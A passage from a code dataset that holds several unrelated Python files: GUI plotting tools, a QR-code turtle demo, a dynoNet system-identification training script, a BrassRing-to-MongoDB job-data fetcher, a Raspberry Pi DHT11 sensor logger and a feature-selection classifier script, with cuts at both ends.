'blue'\n elif self.status.execBehavior == 'DeployBeacon':\n color = 'orange'\n else:\n color = 'green'\n name = 'e' + self.status.execBehavior\n e.node(name, self.status.execBehavior, fillcolor=color, shape='circle', width='1.5')\n # Connect each behavior\n for behavior in self.status.behaviors:\n color, ecolor, fontcolor = self.getColors(behavior.score)\n g.edge('b' + behavior.name, name, xlabel=str(round(behavior.score, 1)), color=ecolor, tailport='e')\n\n # Build a time string from the timestamp\n timestr = datetime.utcfromtimestamp(self.status.header.stamp.to_sec()).strftime('%H:%M:%S')\n timestr = '<' + timestr + '>'\n e.node('time', timestr, shape='plaintext', width='1.5', style='solid')\n g.subgraph(e)\n\n # Save the graph\n self.gv = g\n if self.saveGV:\n self.gv.save()\n if self.saveSVG:\n self.gv.render()\n\n def viewStatus(self):\n # Display our graph\n self.svgWidget.renderer().load(self.svg)\n self.svgWidget.show()\n\n def num2idx(self, n):\n # Convert a floating point number to a 1-9 index for colors\n nn = int(round(n * 2)) + 2\n if nn > 9:\n nn = 9\n return nn\n\n def getColors(self, n):\n # Get fill, edge and font colors for a particular index\n idx = self.num2idx(n)\n color = self.colorscheme + str(idx)\n if idx + 3 > 9:\n ecolor = 'black'\n else:\n ecolor = self.colorscheme + str(idx + 3)\n fontcolor = 'black'\n if idx == 9:\n fontcolor = 'white'\n\n return color, ecolor, fontcolor\n\n\nif __name__ == '__main__':\n # Subscribe to status, build the message and display it\n viewer = BOBCATViewer()\n # Run until the window is closed\n sys.exit(viewer.app.exec_())\n","sub_path":"src/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":7166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"284684758","text":"#!/usr/bin/env python\n# ===============================================================================\n# DrawPieStats\n#\n# Description:\n# Self-contained module for drawing pie-charts for statistics\n#\n# Version:\n# MM.mm DD/MM/YY\n# 00.00 17/06/19 Abstracted scripts from GUIWaveTrails\n# 00.01 19/11/19 Add offset color for 250G\n#\n# Example/Usage:\n#\n# ===============================================================================\nimport os\nimport tkinter as tk\n\nfrom db.DatabaseMarkets import setMetroDictFields\n\nfrom src.CreateHeaderLists import setStatsFields, setITUStatsFields\nfrom src.GetStatistics import compileStatsDicts\nfrom src.MatchItems import setListCBTypes\nfrom src.OpenFileWaveTrails import openProcessedFile\nfrom src.ScriptsWLEN import loadJSONFile, menuCircuitType\nfrom src.SetMetroName import MetroLookup\n\n[KEYMARKET, KEYWAVES, KEYTECH, KEYSITES, KEYLINKS, KEYFILEPREFIX] = setMetroDictFields()\n\n[KEYCIRCUITS, KEYITU, KEYQTY, KEYPCT, KEYTOTAL, KEYANY] = setStatsFields()\n[KEYCHSI, KEYCBONLY, KEYDUALC, KEYVACANT, KEYTOTWAVES] = setITUStatsFields()\n[_, KEYCB, KEYMET, MEYMIX, KEYNOK, KEYSONET, KEYTEST, KEYVID, KEYXT] = setListCBTypes()\n\nDSH = '-'\n\nclass PieStats:\n\n def __init__(self, metroDB, dictStats, listStats, fileWLEN):\n # define constants to use\n self.W = 510\n self.H = 520\n self.X = 350\n self.Y = 100\n self.COLORTB = '#789abc'\n self.COLORTBLHD = '#a6a6a6'\n self.WIDTHSTATGRAF = 500\n\n self.COLOR1G = '#66ffcc' # aqua\n self.COLOR25G = '#cc99ff' # fuschia\n self.COLOR10G = '#ffc000' # yellow-orange\n self.COLOR40G = '#c4d79b' # green\n self.COLOR100G = '#00b0f0' # bright blue\n self.COLOR200G = '#fabf8f' # sienna\n self.COLOR250G = '#faad7b' # sienna-off\n self.COLOR400G = '#99ccff' # light blue\n self.COLORCHSIONLY = '#4472c4'\n self.COLORCHSICB = '#ed7d31'\n self.COLORCBONLY = '#ffc000'\n self.COLORITUVACANT = '#a9d18e'\n\n self.FIELDMARKET = setMetroDictFields()[0]\n self.Market = metroDB[self.FIELDMARKET]\n\n self.fileName = os.path.split(fileWLEN)[1]\n\n self.createPieCanvas(metroDB, dictStats, listStats)\n\n def createPieCanvas(self, metroDB, dictStats, listStats):\n self.pieCanvas = tk.Tk()\n self.pieCanvas.geometry('%dx%d+%d+%d' % (self.W, self.H, self.X, self.Y))\n self.pieCanvas.title(self.fileName)\n\n # tkinter variable with initial setting\n self.FrameDiagram = tk.Frame(self.pieCanvas)\n self.FrameDiagram.grid(sticky='ew')\n self.DiagramHeader = tk.Label(self.FrameDiagram, text=metroDB[self.FIELDMARKET],\n bg=self.COLORTB)\n self.DiagramDisplay = tk.Frame(self.FrameDiagram, bd=1, relief='groove')\n self.DiagramHeader.grid(sticky='ew')\n self.DiagramDisplay.grid(sticky='ew')\n\n self.DiagramCanvas = tk.Canvas(self.DiagramDisplay, width=self.W - 20,\n height=self.H - 60)\n self.DiagramKey = tk.Frame(self.DiagramDisplay)\n self.DiagramCanvas.grid(row=0, column=0)\n self.DiagramKey.grid(row=0, column=1)\n\n self.buildPieStats(dictStats, listStats)\n self.DiagramCanvas.config(width=self.W - 20, height=self.H - 60)\n self.pieCanvas.geometry('%dx%d+%d+%d' % (self.W, self.H, self.X, self.Y))\n self.pieCanvas.focus_force()\n self.pieCanvas.mainloop()\n\n def buildPieStats(self, dictStats, listStats):\n datastore = listStats\n rates = 9\n types = 8\n itus = 4\n rowCircuits = 2\n rowCB = rowCircuits + rates\n rowType = rowCB + rates\n rowITU = rowType + types\n newParent = self.DiagramCanvas\n headers = ['Circuit Pie Chart (All)', 'Circuit Pie Chart (Cox Biz)',\n 'Circuit Pie Chart (By Type)', 'Circuit Pie Chart (by ITU Lambda)']\n lambdaUtil = dictStats[self.Market][KEYITU][KEYQTY][KEYCHSI] + \\\n dictStats[self.Market][KEYITU][KEYQTY][KEYCBONLY] + \\\n dictStats[self.Market][KEYITU][KEYQTY][KEYDUALC]\n lambdaUtil = lambdaUtil / dictStats[self.Market][KEYITU][KEYQTY][KEYTOTWAVES]\n summaryLabel = ['Total Circuits: ' + str(dictStats[self.Market][KEYCIRCUITS][KEYQTY][KEYTOTAL + DSH]),\n 'Total CB: ' + str(dictStats[self.Market][KEYCIRCUITS][KEYQTY][KEYANY + DSH + KEYCB]),\n 'Total XType: ' + str(dictStats[self.Market][KEYCIRCUITS][KEYQTY][KEYANY + '-XType']),\n 'Lambda Utilization: ' + '{0:.2%}'.format(lambdaUtil)]\n rowLevels = [rowCircuits, rowCB, rowType, rowITU]\n counts = [rates, rates, types, itus]\n rowDisp = 0\n for i in range(4):\n self.buildPieFramework(newParent, headers[i], rowDisp, i, summaryLabel[i])\n self.buildPieStatsHelper(datastore, rowLevels[i], counts[i])\n rowDisp += 1\n\n\n def buildPieFramework(self, parent, header, rowDisp, colDisp, summaryLabel):\n # initialize Frames and Canvas for Pie Charts\n self.FrameGraph = tk.Frame(parent, bd=1, relief='groove')\n self.FrameGraph.grid(sticky='ew', row=int(rowDisp%2), column=int(colDisp/2))\n self.PieHeader = tk.Label(self.FrameGraph, text=header, bg=self.COLORTBLHD)\n self.PieDisplay = tk.Frame(self.FrameGraph)\n self.PieSummary = tk.Label(self.PieDisplay, text=summaryLabel)\n self.PieCanvas = tk.Canvas(self.PieDisplay, width=200, height=200)\n self.PieKey = tk.Frame(self.PieDisplay)\n self.PieHeader.grid(row=rowDisp, columnspan=self.WIDTHSTATGRAF, sticky='ew')\n self.PieDisplay.grid(row=rowDisp+1)\n self.PieSummary.grid(row=0, columnspan=2)\n self.PieCanvas.grid(row=1, column=0)\n self.PieKey.grid(row=1, column=1)\n\n\n def buildPieStatsHelper(self, datastore, rowLevel, count):\n # combine all data for particular Pie Chart\n colPercent = 4\n custColor = 424274\n dataLabels = []\n extents = []\n colors = []\n\n for i in range(rowLevel, rowLevel + count):\n if count == 4: # for ITUChans\n newLabel = datastore[i][1] + '-' + datastore[i][2]\n dataLabels.append(newLabel)\n colors.append(self.colorITU(newLabel))\n elif count == 8 and datastore[i][1] == 'Any': # for circuitTypes\n dataLabels.append(datastore[i][1] + ' ' + datastore[i][2])\n colors.append('#' + str(custColor))\n custColor = custColor + 55555 # 111111\n else: # for dataRates\n dataLabels.append(datastore[i][1])\n colors.append(self.colorSelector(datastore[i][1], 'grey'))\n\n # pct = float(datastore[i][colPercent].strip('%'))/100\n pct = float(datastore[i][colPercent])\n extents.append(pct*360)\n self.createPieCharts(extents, colors, dataLabels)\n\n\n def createPieCharts(self, extents, colors, dataLabels):\n # Create Pie slices for each percentage\n x = 100\n y = 100\n rad = 50\n st = 0\n for i in range(len(extents)):\n self.createPie(self.PieCanvas, x, y, rad, st, extents[i], colors[i])\n st = st + extents[i]\n # Create key decoder for pie slices\n for i in range(len(dataLabels)):\n self.label = tk.Label(self.PieKey, text=dataLabels[i], bg=colors[i])\n self.label.grid(row=i, sticky='new')\n\n def createPie(self, parent, x, y, rad, start, extent, fill):\n if extent != 360:\n self.arc = parent.create_arc(x-rad, y-rad, x+rad, y+rad, fill=fill,\n start=start, extent=extent)\n else:\n self.arc = parent.create_oval(x-rad, y-rad, x+rad, y+rad, fill=fill)\n\n def colorSelector(self, data, color):\n if data == '1G': color = self.COLOR1G\n elif data == '2.5G': color = self.COLOR25G\n elif data == '10G': color = self.COLOR10G\n elif data == '40G': color = self.COLOR40G\n elif data == '100G': color = self.COLOR100G\n elif data == '200G': color = self.COLOR200G\n elif data == '250G': color = self.COLOR250G\n elif data == '400G': color = self.COLOR400G\n else: color = color\n return color\n\n def colorITU(self, data):\n if data == KEYCHSI: color = self.COLORCHSIONLY\n elif data == KEYDUALC: color = self.COLORCHSICB\n elif data == KEYCBONLY: color = self.COLORCBONLY\n elif data == KEYVACANT: color = self.COLORITUVACANT\n else: color = 'black'\n return color\n\n\ndef main():\n fileName, fileWLEN, dirWLEN = openProcessedFile(fileXt='*pyWLEN.json')\n if fileName == '': return\n metroDB = MetroLookup(fileName)\n Market = metroDB[KEYMARKET]\n jsonWLEN = loadJSONFile(fileWLEN, Market)\n selectCirType = menuCircuitType()\n dictStats, listStats = compileStatsDicts(jsonWLEN, metroDB, fileName, selectCirType)\n\n myPies = PieStats(metroDB, dictStats, listStats, fileName)\n\n\nif __name__ == '__main__':\n main()","sub_path":"draw/DrawPieStats.py","file_name":"DrawPieStats.py","file_ext":"py","file_size_in_byte":9156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"138721231","text":"#qr code to basic turtle movement\n\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# turtletest1\n# \n# Copyright 2014 psutton \n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n# \n# \n\nimport turtle\nimport time\nimport zbar\n\nt = turtle.Pen()\n\nclass QRCode():\n\n data = None\n proc = None\n scanner = None\n\n def qr_handler(self,proc,image,closure):\n # extract results\n for symbol in image:\n if not symbol.count:\n self.data = symbol.data\n\n def __init__(self):\n self.proc = zbar.Processor()\n self.scanner = zbar.ImageScanner()\n self.scanner.parse_config('enable')\n\n self.proc.init(\"/dev/video0\")\n self.proc.set_data_handler(self.qr_handler)\n self.proc.visible = True \n#display cam window if True, hide if False\n self.proc.active = True\n\n def get_data(self):\n self.proc.process_one()\n return(self.data)\n\n\ndata = QRCode().get_data()\nif (data == \"forward10\"):\n\tprint (\"data is forward10\")\n\ttime.sleep(1)\n\tturtle.forward(10)\n\ttime.sleep(2)\n\nelif (data == \"forward5\"):\n\tprint (\"data is forward5\")\n\ttime.sleep(1)\n\tturtle.forward(25)\n\ttime.sleep(2)\n\n\n\n#if(__name__ == \"__main__\"):\n# print QRCode().get_data() \n\n\n","sub_path":"turtletest1.py","file_name":"turtletest1.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"381139466","text":"import torch\nimport pandas as pd\nimport numpy as np\nimport os\nfrom dynonet.lti import SisoLinearDynamicalOperator\nimport matplotlib.pyplot as plt\nimport time\nimport torch.nn as nn\n\nimport dynonet.metrics\n\n\nclass StaticNonLin(nn.Module):\n\n def __init__(self):\n super(StaticNonLin, self).__init__()\n\n self.net = nn.Sequential(\n nn.Linear(1, 10), # 2 states, 1 input\n nn.Tanh(),\n nn.Linear(10, 1)\n )\n\n for m in self.net.modules():\n if isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, mean=0, std=1e-3)\n nn.init.constant_(m.bias, val=0)\n\n def forward(self, y_lin):\n y_nl = y_lin + self.net(y_lin)\n return y_nl\n\n\nif __name__ == '__main__':\n\n # Set seed for reproducibility\n np.random.seed(0)\n torch.manual_seed(0)\n\n # Settings\n add_noise = True\n lr = 1e-4\n num_iter = 10000\n test_freq = 100\n n_fit = 40000\n decimate = 1\n n_batch = 1\n n_b = 3\n n_a = 3\n\n # Column names in the dataset\n COL_U = ['V1']\n COL_Y = ['V2']\n\n # Load dataset\n df_X = pd.read_csv(os.path.join(\"data\", \"SNLS80mV.csv\"))\n\n # Extract data\n y = np.array(df_X[COL_Y], dtype=np.float32)\n u = np.array(df_X[COL_U], dtype=np.float32)\n u = u - np.mean(u)\n fs = 10**7/2**14\n N = y.size\n ts = 1/fs\n t = np.arange(N)*ts\n\n # Fit data\n y_fit = y[:n_fit:decimate]\n u_fit = u[:n_fit:decimate]\n t_fit = t[0:n_fit:decimate]\n\n # Prepare data\n u_fit_torch = torch.tensor(u_fit[None, :, :], dtype=torch.float, requires_grad=False)\n y_fit_torch = torch.tensor(y_fit[None, :, :], dtype=torch.float)\n\n\n # Second-order dynamical system custom defined\n G1 = SisoLinearDynamicalOperator(n_b=n_b, n_a=n_a)\n y_init_1 = torch.zeros((n_batch, n_a), dtype=torch.float)\n u_init_1 = torch.zeros((n_batch, n_b), dtype=torch.float)\n\n # Static non-linearity\n F_nl = StaticNonLin()\n\n # Setup optimizer\n optimizer = torch.optim.Adam([\n {'params': G1.parameters(), 'lr': 1e-4},\n {'params': F_nl.parameters(), 'lr': 1e-4},\n ], lr=lr)\n\n # In[Train]\n LOSS = []\n start_time = time.time()\n for itr in range(0, num_iter):\n\n optimizer.zero_grad()\n\n # Simulate\n y1_lin = G1(u_fit_torch, y_init_1, u_init_1)\n y_hat = F_nl(y1_lin)\n\n # Compute fit loss\n err_fit = y_fit_torch - y_hat\n loss_fit = torch.mean(err_fit**2)\n loss = loss_fit\n\n LOSS.append(loss.item())\n if itr % test_freq == 0:\n with torch.no_grad():\n RMSE = torch.sqrt(loss)\n print(f'Iter {itr} | Fit Loss {loss_fit:.6f} | RMSE:{RMSE:.4f}')\n\n # Optimize\n loss.backward()\n\n if itr == 100:\n pass\n optimizer.step()\n\n train_time = time.time() - start_time\n print(f\"\\nTrain time: {train_time:.2f}\") # 182 seconds\n\n # In[To numpy]\n\n y_hat = y_hat.detach().numpy()[0, :, :]\n y1_lin = y1_lin.detach().numpy()[0, :, :]\n\n # In[Plot]\n plt.figure()\n plt.plot(t_fit, y_fit, 'k', label=\"$y$\")\n plt.plot(t_fit, y_hat, 'b', label=\"$\\hat y$\")\n plt.legend()\n plt.show()\n\n plt.figure()\n plt.plot(LOSS)\n plt.grid(True)\n plt.show()\n\n # In[Plot static non-linearity]\n\n y1_lin_min = np.min(y1_lin) - 1e-6\n y1_lin_max = np.max(y1_lin) + 1e-6\n\n in_nl = np.arange(y1_lin_min, y1_lin_max, (y1_lin_max- y1_lin_min)/1000).astype(np.float32).reshape(-1, 1)\n\n with torch.no_grad():\n out_nl = F_nl(torch.as_tensor(in_nl))\n\n plt.figure()\n plt.plot(in_nl, out_nl, 'b')\n plt.plot(in_nl, out_nl, 'b')\n #plt.plot(y1_lin, y1_nl, 'b*')\n plt.xlabel('Static non-linearity input (-)')\n plt.ylabel('Static non-linearity input (-)')\n plt.grid(True)\n plt.show()\n\n # In[Plot]\n e_rms = dynonet.metrics.error_rmse(y_fit, y_hat)[0]\n fit_idx = dynonet.metrics.fit_index(y_fit, y_hat)[0]\n r_sq = dynonet.metrics.r_squared(y_fit, y_hat)[0]\n print(f\"RMSE: {e_rms:.4f}V\\nFIT: {fit_idx:.1f}%\\nR_sq: {r_sq:.1f}\")\n\n\n\n\n\n\n","sub_path":"examples/Silverbox/silverbox_train_W.py","file_name":"silverbox_train_W.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"639982497","text":"from swc import *\nimport glob\niswcfilenames = glob.glob(\"../fbtbfmbons/*.swc\")\nprint(iswcfilenames)\nfor iswcfilename in iswcfilenames:\n oname = iswcfilename.split('/')[-1]\n print(oname)\n icell = Swc(filename=iswcfilename)\n print(\"original num comp is\", len(icell.data))\n icell.reduct1()\n print(\"after reduct1\", len(icell.data)) \n icell.reduct2()\n print(\"after reduct2\", len(icell.data)) \n oswcfilename = \"../reductedfbtbfmbons/\" + oname\n icell.write(oswcfilename)\n","sub_path":"convertFCWBtoFBTBF/reduct/reductSwc.py","file_name":"reductSwc.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"584165938","text":"import httplib2\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\nfrom tkinter import Tcl\r\nimport xml.etree.ElementTree as ET\r\nfrom io import StringIO\r\nimport sqlite3\r\nfrom flask import render_template, flash, redirect, session, url_for, request, g\r\nfrom flask_login import login_user, logout_user, current_user, login_required\r\nfrom flask_wtf import form\r\nimport datetime\r\n##from app import db, models\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom pymongo import MongoClient\r\nimport json\r\nfrom json import dumps\r\nfrom collections import OrderedDict\r\nfrom xmljson import BadgerFish\r\nfrom xmljson import parker, Parker\r\nfrom xml.etree.ElementTree import tostring, fromstring\r\nfrom bson.json_util import loads\r\n\r\n##from models import QIDMapping, TG_Results\r\n\r\nhttp = httplib2.Http()\r\nheaders = {'Content-Type':'application/x-www-form-urlencoded'}\r\nurl = \"\"\"http://import.brassring.com/WebRouter/WebRouter.asmx/route\"\"\"\r\n\r\n#body = open(\"c:/Pyfiles/Web API Scripts/Canada_Stage_Test_2.txt\", 'r')\r\n##kxa_out = open(\"c:/TEST/ResponseXML/Data_out.xml\", 'w')\r\n\r\ninput_xml=''\r\nkxa_output = []\r\n\r\n#xml_in = body.read()\r\n\r\n\r\n\r\ndef get_data(input_xml):\r\n tg_data = []\r\n input_xml = (\"inputXml=%s\" %input_xml)\r\n## print (input_xml)\r\n \r\n response, content = http.request(uri=url, method='POST', headers=headers, body=input_xml)\r\n \r\n kxa_output = str(content)\r\n## print (\"Content\", content)\r\n tree = ET.ElementTree(ET.fromstring(content))\r\n root = tree.getroot()\r\n\r\n out_xml = root.text\r\n out_xml = out_xml.encode('ascii', 'ignore')\r\n\r\n save_to_mongo(out_xml)\r\n \r\n\r\ndef save_to_mongo(content):\r\n client = MongoClient()\r\n dbtemp = client.temp\r\n## timestmp = datetime.datetime.now().strftime(\"%Y-%d-%d %H:%M:%S\")\r\n timestmp = datetime.datetime.utcnow()\r\n \r\n xmlread = content.decode('ascii')\r\n xmlread = fromstring(xmlread)\r\n\r\n newfile = dumps(parker.data(xmlread))\r\n data = loads(newfile)\r\n result = dbtemp.new_req_data.insert_one(data)\r\n\r\n db=client.reqdata\r\n cursor = dbtemp.new_req_data.distinct(\"Unit.Packet.Payload.ResultSet.Jobs.Job\")\r\n for document in cursor:\r\n newreq = { \"dateAdded\": timestmp,\r\n \"req\" : document}\r\n db.req_data.insert_one(newreq)\r\n dbtemp.new_req_data.drop()\r\n \r\n\r\ndef X_save_to_mongo(q_id, q_tag, q_text):\r\n client = MongoClient()\r\n db = client.testreqs\r\n timestmp = datetime.datetime.now().strftime(\"%Y-%d-%d %H:%M:%S\")\r\n\r\n result = db.raw_req_data.insert_one(\r\n {\r\n \"req\":\r\n {\r\n \"qid\": q_id,\r\n \"tag\": q_tag,\r\n \"text\": q_text,\r\n \"timestamp\": timestmp\r\n }\r\n }\r\n )\r\n\r\ndef main():\r\n\r\n root = tk.Tk()\r\n root.withdraw()\r\n \r\n xfile = filedialog.askopenfilename(parent=root)\r\n## input_xml = filename.read()\r\n## print (xfile)\r\n if xfile != None:\r\n page = 1\r\n while (page < 101):\r\n tree = ET.parse(xfile)\r\n xroot = tree.getroot()\r\n for fpage in xroot.iter('PageNumber'):\r\n fpage.text = str(page)\r\n xmlfile = ET.tostring(xroot)\r\n xmlfile = xmlfile.decode('ascii', 'ignore')\r\n## print (xmlfile)\r\n\r\n## input_xml = open(xmlfile)\r\n## r = input_xml.read()\r\n get_data(xmlfile)\r\n## print (page)\r\n page +=1\r\n\r\n else:\r\n print (\"had to pass\") \r\n\r\n \r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n \r\n#body.close()\r\n#kxa_out.close()\r\n\r\n","sub_path":"Get_Data_Prod_Choose_file_Save_to_Mongo.py","file_name":"Get_Data_Prod_Choose_file_Save_to_Mongo.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"361811791","text":"import os\nfrom flask_migrate import Migrate\n\nfrom app import create_app, db\n\nconfig = os.getenv('FLASK_CONFIG') or 'dev'\nprint('Now config is:' + config)\napp = create_app(config)\n\nmigrate = Migrate(app, db)\n\n\n@app.shell_context_processor\ndef make_shell_context():\n # 用于在使用 flask shell 时引入上下文\n return dict(app=app, db=db)\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"425267583","text":"class Solution:\n def minimumTotal(self, triangle: List[List[int]]) -> int:\n if len(triangle) == 0:\n return 0\n \n dp = [0 for each in range(0,len(triangle[-1]))]\n #fill in the last row values\n for i in range(0,len(dp)):\n dp[i] = triangle[-1][i]\n \n #print(dp)\n \n for i in range(len(triangle)-2,-1,-1):\n for j in range(0,len(triangle[i])):\n dp[j] = min(dp[j],dp[j+1]) + triangle[i][j]\n \n return dp[0]\n \n# sumValue = triangle[0][0]\n \n# for i in range(0,len(triangle)-1):\n# minValue = sys.maxsize\n# for j in range(0,len(triangle[i])):\n# minValue = min(minValue,min(triangle[i+1][j],triangle[i+1][j+1]))\n# sumValue = sumValue+minValue\n \n# return sumValue\n \n ","sub_path":"120-triangle.py","file_name":"120-triangle.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"90228435","text":"import adafruit_dht\nimport time\nimport RPi.GPIO as GPIO\nimport datetime\nimport sqlite3\n\nGIPO.setmode(GPIO.BCM)\nGPIO.setup(14,GPIO.IN)\n\ndb = sqlite3.connect(\"externaldb\")\ncur = db.cursor()\n\ndhtDevice = adafruit_dht.DHT11(14)\nwhile True:\n try:\n temp_c = dhtDevice.temperature\n temp_f = temp_c * (9/5) +32\n humidity = dhtDevice.humidity\n sql = \"\"\"insert into tbldht(temprature_c,temprature_f,humidity,createdDate) values(?,?,?,?)\"\"\"\n data = (tempc,temp_f,humidity,datetime.datetime.now())\n cur.execute(sql,data)\n db.commit()\n print(\"temp: {:.1f} F/ {:.1f} C/ Humidity: {}%\".format(temp_f,temp_c,humidity))\n time.sleep(1)\n except RuntimeError as error:\n print(error.args[0])\n time.sleep(5.0)\n\n","sub_path":"dht11_database.py","file_name":"dht11_database.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"409925397","text":"import pandas as pd\nimport numpy as np \nimport sklearn as sk\nimport argparse\nimport sys\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom sklearn.preprocessing import Imputer\nfrom sklearn import metrics\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import roc_auc_score\nfrom collections import Counter\nimport matplotlib.pyplot as plt\nimport seaborn as sns \nimport operator\nimport random\nfrom sklearn import svm\n\ndef main():\n\n\t# Argument parser\n\targ_parser = argparse.ArgumentParser(description = 'Feature Selection')\n\targ_parser.add_argument('-dataset', help = 'Input file to classify or plot', type = str)\n\targ_parser.add_argument('-label', help = 'Column Name of the labels variable')\n\targ_parser.add_argument('-classifier', help = 'Input guide: \"rf\" for random forest,\\\n\t \"glob\" for a group of Extra Trees Classifier, \"redu\" for feature reduction/accuracy loss plot,\\\n\t \"linear\" for a SVM classifier.')\n\targ_parser.add_argument('-imputation', help = 'If (y), it will perform imputation using the most frequent in column')\n\targ_parser.add_argument('-plots', help = 'Input Guide: \"frequencies\" for frequency per run graph, \\\n\t\t\"redu\" for accuracy loss for feature reduction')\n\targ_parser.add_argument('-ranking', help = 'Make variables ranking (y)')\n\targ_parser.add_argument('-trees', help = 'Test optimal nummber of trees (pick number)', type = int)\n\targ_parser.add_argument('-top', help = 'Runs Extra trees with top variants (rank file)')\n\targ_parser.add_argument('-redu_features', help = 'File of top important features')\n\targs = arg_parser.parse_args()\n\n\tif args.dataset:\n\t\t# read_csv adds an Unnamed columns of indexes\n\t\tprint('Loading dataset...')\n\t\tdataset = pd.read_csv(args.dataset)#, compression = 'gzip')\n\t\tdataset = dataset.drop(dataset.columns[0], axis = 1)\n\n\t\tif args.imputation:\n\n\t\t\tprint('Performing imputation...')\n\t\t\tdataset = imputation_most_freq(dataset)\n\n\t\t\tdataset.to_csv('../../data/full_dataset/imputed_clean_full_dataset.csv.gz', compression = 'gzip')\n\t\t\n\tif args.classifier:\n\n\t\tif args.classifier == 'glob':\n\t\t\tglob_of_forests(dataset, args)\n\t\telif args.classifier == 'rf':\n\t\t\t(frequencies, f1s) = extra_trees(dataset, args)\n\t\telif args.classifier == 'redu':\n\t\t\tif args.redu_features:\n\t\t\t\tredu(dataset, args)\n\t\t\telse:\n\t\t\t\tprint('Redu function requires important features file.')\n\t\telif args.classifier == 'linear':\n\t\t\t#if args.redu_features:\n\t\t\tlinear_classifier(dataset, args)\n\t\t\t#else:\n\t\t\t#\tprint('A linear classifier requires top features file (-redu_features)')\n\n\tif args.plots:\n\t\tif args.plots == 'frequencies':\n\t\t\tplot_glob(dataset)\n\t\tif args.plots == 'redu':\n\t\t\trandom_data = pd.read_csv('../../data/plots/accuracy_by_feature_reduction/random_f1scores.csv.gz', compression = 'gzip')\n\t\t\ttargeted_data = pd.read_csv('../../data/plots/accuracy_by_feature_reduction/targeted_f1scores.csv.gz', compression = 'gzip')\n\t\t\tplot_redu(random_data, targeted_data)\n\n\tif args.ranking:\n\t\timportant_variants(dataset, args)\n\n\tif args.trees:\n\t\tdataset = imputation_most_freq(dataset)\n\t\tno_trees_test(dataset, args)\n\n\tif args.top:\n\n\t\tprint('Performing imputation...')\n\t\tdataset = imputation_most_freq(dataset)\n\n\t\timportant_variants_list = pd.read_csv(args.top, compression = 'gzip')\t\t\n\t\tnew_dataset = dataset[important_variants_list]\n\n\t\tnew_dataset['labels'] = dataset['labels']\n\n\t\t(frequencies, f1s) = extra_trees(new_dataset, args)\n\t\tprint(frequencies)\n\ndef imputation_most_freq(dataset):\n\n\tdataset_len = len(list(dataset))\n\tdataset_list = np.array(list(dataset))\n\n\t# Imputing missing data with most frequent in column\n\tmf_imputation = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\n\tdataset = mf_imputation.fit_transform(dataset)\n\tdataset = dataset.astype(int)\n\n\tdataset = pd.DataFrame(dataset, columns = dataset_list )\n\t#print(dataset.head())\n\n\treturn dataset\n\n# runs extra trees classifier in dataset\ndef extra_trees(dataset, args):\n\n\tdataset_len = len(list(dataset))\n\tdataset_list = np.array(list(dataset))\n\n\t# Run several classifiers and find wich variants appear more\n\tf1_scores = []\n\ttop_variants = np.array([])\n\tfor run in range(0, 100):\n\t\t# Dividing train and test\n\t\tpre_X = dataset.drop(args.label, axis = 1)\n\t\tX_train, X_test, y_train, y_test = train_test_split(pre_X, dataset[args.label], test_size = 0.3)\n\n\t\tprint('Fitting model number: ' + str(run))\n\n\t\t# Random Forest Model\n\t\trf_model = ExtraTreesClassifier(100, n_jobs = -1)\n\t\trf_model.fit(X_train, y_train)\n\n\t\t# To save model\n\t\t#joblib.dump(rf_model, '../../data/rf_model.pkl') \n\n\t\tprint('Predicting...')\n\t\t\n\t\t# Predicting\n\t\t# y_predicted = rf_model.predict(X_test)\n\t\ty_predicted = cross_val_predict(rf_model, X_test, y_test, cv=5)\t\t\n\t\t# print(confusion_matrix(y_test, y_predicted))\n\t\t\n\t\tprint('F1-score: ' + str(f1_score(y_test, y_predicted, average = 'micro')))\n\n\t\t# Saving f1 score and all indexes\n\t\timportances = rf_model.feature_importances_\n\t\timportances_indexes = np.argsort(importances)[::-1]\n\t\timportances_indexes = importances_indexes[0:100]\n\n\t\tf1_scores.append(f1_score(y_test, y_predicted, average = 'micro'))\n\t\ttop_variants = np.concatenate((top_variants, dataset_list[importances_indexes]))\n\n\n\t# Results and important features\n\tf1s = mean(f1_scores)\n\tprint('Final f1 score: ' + str(f1s))\t \n\tfrequencies = 